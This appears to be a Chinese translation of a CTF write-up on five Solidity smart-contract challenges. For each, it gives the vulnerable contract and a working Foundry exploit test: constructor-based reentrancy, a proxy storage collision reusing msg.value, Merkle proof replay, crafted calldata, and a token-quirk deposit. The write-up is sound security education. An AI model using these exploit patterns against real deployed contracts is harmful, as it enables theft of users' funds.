文章详细介绍了Tenderly与ChainSecurity合作的CTF挑战,包括多个智能合约的安全漏洞分析和攻击实现,展示了对Solidity编程、合约漏洞以及攻击手法的深入理解与分析。每个挑战都包含了合约代码示例和相应的攻击逻辑,适合对区块链安全有一定基础的读者学习和参考。
最近,我有幸作为出色团队 unsafe 的一员参加了 Tenderly x ChainSecurity CTF at EthCC[7]。特别感谢 Tenderly 团队的组织工作;工具的设置准备得相当充分,文档也写得很清晰,我们能在几分钟内迅速开始解决挑战。我还想表扬我的队友 Cairo、Damian Rusinek 和 Daniel Von Fange 的高效表现和专业精神,他们带领团队成功,推动我们登上排行榜的顶端。
在这段简要介绍后,让我们深入每个级别的技术细节,共同重温一遍。挑战的代码和解法副本可以在 Tenderly & Chainsecurity 战争室游戏布鲁塞尔解决方案 的 GitHub 仓库中找到。
第一个给出的挑战是 Bank 合约,该合约远未能确保用户资金的安全,反而包含一个隐藏的“特性”,允许完全提取所有资金。
contract Bank is Solvable {
event Registration(address wallet);
event Deregistration(address wallet);
mapping(address => uint256) public balances;
mapping(address => bool) public externalAccounts;
error ContractAccount();
error UnknownAccount();
modifier onlyEOA(address addr) {
if (isContract(addr)) revert ContractAccount();
_;
}
modifier onlyRegWallets(address addr) {
if (!externalAccounts[addr]) revert UnknownAccount();
_;
}
constructor() payable {
require(msg.value == 1 ether, "1 ether is required to deploy the bank!");
}
function registerWallet() external onlyEOA(msg.sender) {
require(!externalAccounts[msg.sender], "Already registered");
externalAccounts[msg.sender] = true;
emit Registration(msg.sender);
}
function unregisterWallet() external onlyRegWallets(msg.sender) {
externalAccounts[msg.sender] = false;
emit Deregistration(msg.sender);
}
function deposit(uint256 amount) external payable onlyRegWallets(msg.sender) {
require(msg.value == amount, "Insufficient funds");
balances[msg.sender] += amount;
}
function depositFor(address wallet, uint256 amount) external payable onlyRegWallets(wallet) {
require(msg.value == amount, "Insufficient funds");
balances[wallet] += amount;
}
function withdraw() external onlyRegWallets(msg.sender) {
uint256 balance = balances[msg.sender];
require(balance > 0, "Nothing to withdraw");
(bool sent,) = msg.sender.call{value: balance}("");
require(sent, "Failed to send Ether");
balances[msg.sender] = 0;
}
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
function isSolved() external view returns (bool) {
return address(this).balance == 0;
}
}
快速浏览合约后,两个明显的风险警告立即引起了注意 🚩。
withdraw
函数未遵循 CEI 模式。 合约在更新余额之前就向用户发送了 Ether,使其成为重入攻击的目标 💀。但是,重入攻击需要在单个交易中原子性地执行一系列特定的调用,这涉及多次调用 withdraw 函数。这在 EOA 这一层面是无法做到的(至少没有 EIP-7702 的情况下)。onlyEOA
修饰符确保只有 EOA 能注册为钱包,保护 withdraw
函数免受重入攻击……但真的能做到吗?onlyEOA
修饰符依赖于 extcodehash
操作码来检测账户是 EOA 还是合约。 如果地址包含代码,它就不是 EOA,而是合约。然而,在合约构造期间,合约没有源代码可以用。因此,在构造函数执行期间,它可以对其他合约进行调用,但它的 extcodesize
返回值将为零。这使它被视为 EOA,从而允许合约在系统中注册为钱包 💀💀。因此,攻击结合利用了这两个缺陷,提取合约中的所有资金。我们需要定义一个攻击者合约,在构造函数中将自己注册为钱包,并且包含一个调用 withdraw
的函数,以及一个在余额被置为零之前再次调用 withdraw
的回退函数,以便重新进入。
contract BankTest is Test {
Bank public bank;
function setUp() public {
bank = new Bank{value: 1 ether}();
}
function test_solve() public {
Attacker attacker = new Attacker(address(bank));
attacker.attack{value: 1 ether}();
assertTrue(bank.isSolved());
}
}
contract Attacker {
Bank public target;
constructor(address _target ) payable {
target = Bank(_target);
target.registerWallet();
}
function attack() public payable{
target.deposit{value: address(this).balance}(address(this).balance);
target.withdraw();
}
fallback() external payable {
if (address(target).balance > 0){
target.withdraw();
}
}
}
下一个挑战名为 MultiCall,旨在考察我们对交易批处理和代理模式问题的理解。
contract MultiCallProxy is ERC1967Proxy, Solvable {
address proposedAdmin;
address admin;
modifier onlyAdmin() {
require(msg.sender == admin, "Not the admin");
_;
}
constructor(address initialImpl) ERC1967Proxy(initialImpl, "") {
admin = msg.sender;
}
function proposeAdmin(address newProposedAdmin) public payable {
require(msg.value == 1 ether, "1 ether is required to propose an admin");
proposedAdmin = newProposedAdmin;
}
function approveAdmin(address approvedAdmin) public onlyAdmin {
require(proposedAdmin == approvedAdmin, "Invalid admin to approve");
admin = proposedAdmin;
}
function isSolved() external view returns (bool) {
return address(this).balance == 0;
}
}
contract MultiCall {
bool depositLocked;
address admin;
mapping(address => uint256) public balances;
modifier onlyDepositUnlocked() {
require(!depositLocked, "Deposit is locked");
_;
}
function deposit() external payable onlyDepositUnlocked {
balances[msg.sender] += msg.value;
}
function execute(address to, uint256 value) external {
require(balances[msg.sender] >= value, "Insufficient balance");
balances[msg.sender] -= value;
payable(to).transfer(value);
}
function multicall(bytes[] calldata dataArray) external payable {
depositLocked = false;
for (uint256 i = 0; i < dataArray.length; i++) {
bytes memory data = dataArray[i];
bytes4 selector = getSelector(data);
require(selector != MultiCall.multicall.selector, "Multicall cannot call multicall");
(bool success,) = address(this).delegatecall(data);
require(success, "Error while delegating call");
if (selector == MultiCall.deposit.selector) {
depositLocked = true;
}
}
depositLocked = false;
}
function getSelector(bytes memory data) private pure returns (bytes4) {
bytes4 selector;
assembly {
selector := mload(add(data, 32))
}
return selector;
}
}
对于我们这样的区块链安全专家来说,MultiCall
和 MultiCallProxy
立即表现出一些代码的潜在问题 👃,可能会暴露出关键的漏洞。
multicall
函数在循环中使用了 delegatecall
方法。 这一模式通常应该避免,因为在调用栈中其他调用中重用调用上下文(特别是重用 msg.value
)带来的潜在风险。然而,msg.value
仅在 deposit
函数中使用,而该函数由 onlyDepositUnlocked
修饰符保护。该修饰符作为互斥锁,防止对 deposit
函数的多次调用和 msg.value
的重用……但真的能做到吗?MultiCallProxy
从 ERC1967Proxy
继承,它旨在避免在代理和实现之间的存储冲突,但它定义了两个额外的存储变量,与 MultiCall
实现变量发生冲突。如下图所示,MultiCallProxy
的 proposedAdmin
变量(淡蓝色)可以被任何向合约支付 1 ether 的人自由设置,与 depositLocked
变量(粉色)冲突。因此,任何向合约支付 1 ether 的人都可以禁用 onlyDepositUnlocked
保护,并在存款中重用 msg.value
💀。在提出的攻击中,我们精心制作了一个 multicall 批次,欺骗合约接受了两倍于攻击者实际提供的金额的存款。该 multicall 批次的执行后,允许我们随后提取所有资金,有效地抽空了合约。
contract MultiCallTest is Test {
MultiCall public multiCall;
function setUp() public {
address multiCallImpl = address(new MultiCall());
multiCall = MultiCall(address(new MultiCallProxy(multiCallImpl)));
multiCall.deposit{value: 1 ether}();
}
function test_solve() public {
address attacker = makeAddr("Attacker");
vm.deal(attacker, 1 ether);
bytes[] memory payload = new bytes[](3);
payload[0] = abi.encodeCall(MultiCall.deposit, ()); // 存款
payload[1] = abi.encodeCall(MultiCallProxy.proposeAdmin, (address(0))); // 重置重入保护
payload[2] = abi.encodeCall(MultiCall.deposit, ()); // 重用 msg.value 进行存款
vm.startPrank(attacker);
multiCall.multicall{value: 1 ether}(payload);
multiCall.execute(attacker, 2 ether);
assertTrue(MultiCallProxy(payable(address(multiCall))).isSolved());
}
}
接下来的挑战名为 MerkleAirDrop。我们攻击的目标合约是通过 MerkleAirDropFactory
工厂部署的空投代币 ShinyToken
。
contract ShinyToken is Ownable, EIP712, ERC20, Solvable {
mapping(uint256 => uint256) private redeemed; // 位图
bytes32 private rootHash;
uint256 private totLeaves;
uint256 public numRedemptions;
// 抽奖数据结构(未实现)
bytes32 public constant DROP_TYPEHASH = keccak256("Drop(address user,uint256 amount,bool premium)");
constructor() Ownable(msg.sender) EIP712("MerkleAirDrop", "1") ERC20("ShinyToken", "SHNY") {}
function setTree(bytes32 _rootHash, uint256 _totLeaves) external onlyOwner {
rootHash = _rootHash;
totLeaves = _totLeaves;
}
function isRedeemed(uint256 index) public view returns (bool) {
uint256 wordIndex = index / 256;
uint256 bitIndex = index % 256;
uint256 word = redeemed[wordIndex];
uint256 mask = (1 << bitIndex);
return word & mask == mask;
}
function _setRedeemed(uint256 index) private {
uint256 wordIndex = index / 256;
uint256 bitIndex = index % 256;
uint256 mask = (1 << bitIndex);
redeemed[wordIndex] |= mask;
}
// 使用显式信用账户,而不是 msg.sender,以便他人
// 可能调用此函数来支付用户的Gas费用。
function redeem(address user, uint256 amount, bool premium, uint256 leafIndex, bytes32[] calldata proof) external {
require(leafIndex < totLeaves, "Leaf index out of bounds");
require(!isRedeemed(leafIndex), "Replay protection");
_setRedeemed(leafIndex);
// 重建叶子的哈希,包括特殊属性
bytes32 leafHash = _hashDrop(user, amount, premium);
require(MerkleProof.verifyCalldata(proof, rootHash, leafHash), "Verification failed");
// 赎回
if (numRedemptions++ < 1000) {
amount *= 2;
}
_mint(user, amount);
if (premium) {
// 抽奖逻辑
}
return;
}
function _hashDrop(address user, uint256 amount, bool premium) private view returns (bytes32) {
return _hashTypedDataV4(keccak256(abi.encode(DROP_TYPEHASH, user, amount, premium)));
}
// 当所有空投都已被赎回时,挑战即算解决。
function isSolved() external view returns (bool) {
return numRedemptions == totLeaves;
}
}
解决此挑战足以重现 MerkleAirDropFactory
在部署期间生成的正确 merkle 证明,并将其提交给 ShinyToken
。然而,这并不代表对合约的攻击,它存在一个严重的漏洞,可能会破坏空投机制。
正如我们在赎回机制中所见合约具有的重放保护,保护其避免多次证明特定叶子包含证明的问题。然而,由于 OpenZeppelin 的 MerkleProof 库假设每对叶子是排序的,验证工具在验证过程中并未使用叶子索引。因此,验证时没有约束将叶子索引与特定的包含证明联系起来,允许一个证明在不同的叶子索引之间重用。因此,我们可以设计一个攻击,使用有效证明重用不同的叶子索引,铸造出比最初分配给对手地址的代币数量多出一倍的代币。
contract MerkleAirDropTest is Test {
address public immutable advAddress = makeAddr("advAddress");
ShinyToken public shinyToken;
function setUp() public {
shinyToken = ShinyToken(MerkleAirDropFactory.deploy(advAddress));
}
function test_solve() public {
// 为对手生成有效证明
bytes32 leafHash = _hashDrop(advAddress, 100, false, shinyToken);
bytes32[] memory proof = new bytes32[](1);
proof[0] = _hashDrop(0x0000000000000000000000000000bEEFBeeFBeEF, 300, true, shinyToken);
// 重用相同的证明来铸造所有的空投给对手
shinyToken.redeem(advAddress, 100, false, 0, proof);
shinyToken.redeem(advAddress, 100, false, 1, proof);
assertEq(shinyToken.balanceOf(advAddress), 400);
assertTrue(shinyToken.isSolved());
}
bytes32 public constant DROP_TYPEHASH = keccak256("Drop(address user,uint256 amount,bool premium)");
bytes32 private constant EIP712DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)");
function _hashDrop(address user, uint256 amount, bool premium, ShinyToken token) private view returns (bytes32) {
return _hashTypedDataV4(keccak256(abi.encode(DROP_TYPEHASH, user, amount, premium)), token);
}
function _hashTypedDataV4(bytes32 structHash, ShinyToken token) internal view returns (bytes32) {
return MessageHashUtils.toTypedDataHash(_buildDomainSeparator(token), structHash);
}
function _buildDomainSeparator(ShinyToken token) private view returns (bytes32) {
return keccak256(
abi.encode(EIP712DOMAIN_TYPEHASH, keccak256("MerkleAirDrop"), keccak256("1"), block.chainid, address(token))
);
}
}
倒数第二个挑战是一个名为 ABIOptimizooor
的合约。该挑战旨在测试我们对 ABI 的理解,尤其是 Solidity 动态类型 如何进行 ABI 编码。
contract ABIOptimizooor is Solvable {
bool solved;
function foo(uint256[] calldata x, uint256[] calldata y, uint256[] calldata z) external {
assert(msg.data.length <= 196);
assert(x.length == 0);
assert(y.length == 2);
assert(z.length == 2);
solved = true;
}
function isSolved() external view returns (bool) {
return solved;
}
}
解决挑战时,foo
函数期望接收三个长度分别为 0, 2 和 2 的动态数组作为参数。HashEx ABI 编码器 工具有助于生成编码的 calldata 有效负载,并可视化编码调用的外观。在这种情况下,一次有效调用将如下所示:
bytes memory _calldata =abi.encodePacked(ABIOptimizooor.foo.selector,
bytes32(0x0000000000000000000000000000000000000000000000000000000000000060),// 指向 x
bytes32(0x0000000000000000000000000000000000000000000000000000000000000080),// 指向 y
bytes32(0x00000000000000000000000000000000000000000000000000000000000000e0),// 指向 z
bytes32(0x0000000000000000000000000000000000000000000000000000000000000000),// x.length = 0
bytes32(0x0000000000000000000000000000000000000000000000000000000000000002),// y.length = 2
bytes32(0x0000000000000000000000000000000000000000000000000000000000000000),// y[0] = 0
bytes32(0x0000000000000000000000000000000000000000000000000000000000000000),// y[1] = 0
bytes32(0x0000000000000000000000000000000000000000000000000000000000000002),// z.length = 2
bytes32(0x0000000000000000000000000000000000000000000000000000000000000000),// z[0] = 0
bytes32(0x0000000000000000000000000000000000000000000000000000000000000000) // z[1] = 0
);
然而,该有效负载的长度为 324 字节,这使它未能符合通过关卡所需的第一个约束,但它可以作为压缩和制作具有黑客旨的有效负载的基础,以满足所有四个约束。
y
和 z
的长度相同,我们可以将它们的指针指向 calldata 中相同的偏移量,减少有效负载 96 字节,但这还不够。y
和 z
数据的某个槽,将 x
指向那里。最终制作的 calldata 有效负载如下所示:
contract ABIOptimizooorTest is Test {
ABIOptimizooor public abiOptimizooor;
function setUp() public {
abiOptimizooor = new ABIOptimizooor();
}
function test_solve() public {
bytes memory _calldata =abi.encodePacked(ABIOptimizooor.foo.selector,
bytes32(0x0000000000000000000000000000000000000000000000000000000000000080),// 指向 x
bytes32(0x0000000000000000000000000000000000000000000000000000000000000060),// 指向 y
bytes32(0x0000000000000000000000000000000000000000000000000000000000000060),// 指向 z
bytes32(0x0000000000000000000000000000000000000000000000000000000000000002),// y.length = 2 & z.length = 2
bytes32(0x0000000000000000000000000000000000000000000000000000000000000000),// y[0] = 0 & z[0] = 0 & x.length = 0
bytes32(0x0000000000000000000000000000000000000000000000000000000000000000) // y[1] = 0 & z[1] = 0
);
address(abiOptimizooor).call(_calldata);
assertTrue(abiOptimizooor.isSolved());
}
}
最后一个挑战称为 Vault,它旨在测试我们对生态系统中不同 ERC20 代币实现细节的知识,因为 Vault
合约与其中的几个进行交互。因此,为了能够在本地解决该级别,我们必须在主网的分叉上运行攻击。
contract Vault is Solvable {
// 预定义的 ERC20 代币列表
IERC20[] public allowedTokens;
mapping(address => mapping(IERC20 => uint256)) public balances;
mapping(IERC20 => uint256) public totalBalances;
constructor() {
allowedTokens = [\
IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F),\
IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48),\
IERC20(0xD37EE7e4f452C6638c96536e68090De8cBcdb583),\
IERC20(0xA17581A9E3356d9A858b789D68B4d866e593aE94),\
IERC20(0xbe0Ed4138121EcFC5c0E56B40517da27E6c5226B)\
];
}
// 检查代币是否被允许的修饰符
modifier onlyAllowedToken(IERC20 token) {
require(isTokenAllowed(token), "Token is not allowed");
_;
}
function allAllowedTokens() external view returns (IERC20[] memory) {
return allowedTokens;
}
// 检查代币是否被允许的函数
function isTokenAllowed(IERC20 token) public view returns (bool) {
for (uint256 i = 0; i < allowedTokens.length; i++) {
if (allowedTokens[i] == token) {
return true;
}
}
return false;
}
// 存款函数
function deposit(IERC20 token, uint256 amount) external onlyAllowedToken(token) {
require(amount > 0, "Amount must be greater than 0");
require(token.transferFrom(msg.sender, address(this), amount), "Transfer failed");
balances[msg.sender][token] += amount;
totalBalances[token] += amount;
}
// 提款函数
function withdraw(IERC20 token, uint256 amount) external onlyAllowedToken(token) {
require(amount > 0, "Amount must be greater than 0");
require(balances[msg.sender][token] >= amount, "Insufficient balance");
balances[msg.sender][token] -= amount;
totalBalances[token] -= amount;
require(token.transfer(msg.sender, amount), "Transfer failed");
}
function isSolved() external view returns (bool) {
for (uint256 i = 0; i < allowedTokens.length; i++) {
if (totalBalances[allowedTokens[i]] >= 2 ** 128) {
return true;
}
}
return false;
}
}
经过快速审查给出的代码后,未确认存在问题,但“问题在细节中”。幸运的是,Weird ERC20 Tokens 仓库汇总了关于生态系统中不同代币的信息,其中可能存在意外行为。经过快速分析这些代币的列表可以识别出两个特殊的代币。
type(uint256).max
时转移发送者的整个余额。最有趣的是 cWETHv3,如你可能已发现,存款函数可以被操控,以接受实际发送 0 代币的 type(uint256).max
的存款。
contract VaultTest is Test {
Vault public vault;
function setUp() public {
vault = new Vault();
}
function test_solve() public {
address cWETHv3 = 0xA17581A9E3356d9A858b789D68B4d866e593aE94;
cWETHv3.call(abi.encodeWithSignature("allow(address,bool)",address(vault), true ));
vault.deposit(IERC20(cWETHv3), type(uint256).max);
assertTrue(vault.isSolved());
}
}
- 原文链接: medium.com/@bazzanigianf...
- 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!